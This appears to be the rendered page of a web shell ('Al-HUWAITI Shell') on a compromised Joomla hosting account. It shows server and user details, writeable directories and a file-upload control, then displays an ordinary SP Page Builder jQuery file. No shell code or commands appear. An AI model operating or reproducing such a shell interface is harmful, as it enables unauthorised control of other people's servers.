Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : eventfrsgx ( 61451)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/eventfrsgx/www/administrator/components/com_sppagebuilder/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/eventfrsgx/www/administrator/components/com_sppagebuilder/assets/js/parentchild.js
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2016 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/

jQuery(function($) {

  $('*[data-group_parent]*').each(function(){

    var $this = $(this);
    var parent = $(this).data('group_parent');
    var depend = $(this).data('depend');

    if( $('[data-attrname="'+ parent +'"]').val() != depend ) {
      $(this).hide();
    }

    $(document).on('change', '#field_' + parent, function(event) {

      var val = $(this).val();
      var $child = $('[data-group_parent="' + $(this).data('attrname') + '"]');

      if($child.length) {
        $child.each(function() {
          if($(this).data('depend') == val) {
            $(this).fadeIn();
          } else {
            $(this).hide();
          }
        });
      }
    });
  });
});

Al-HUWAITI Shell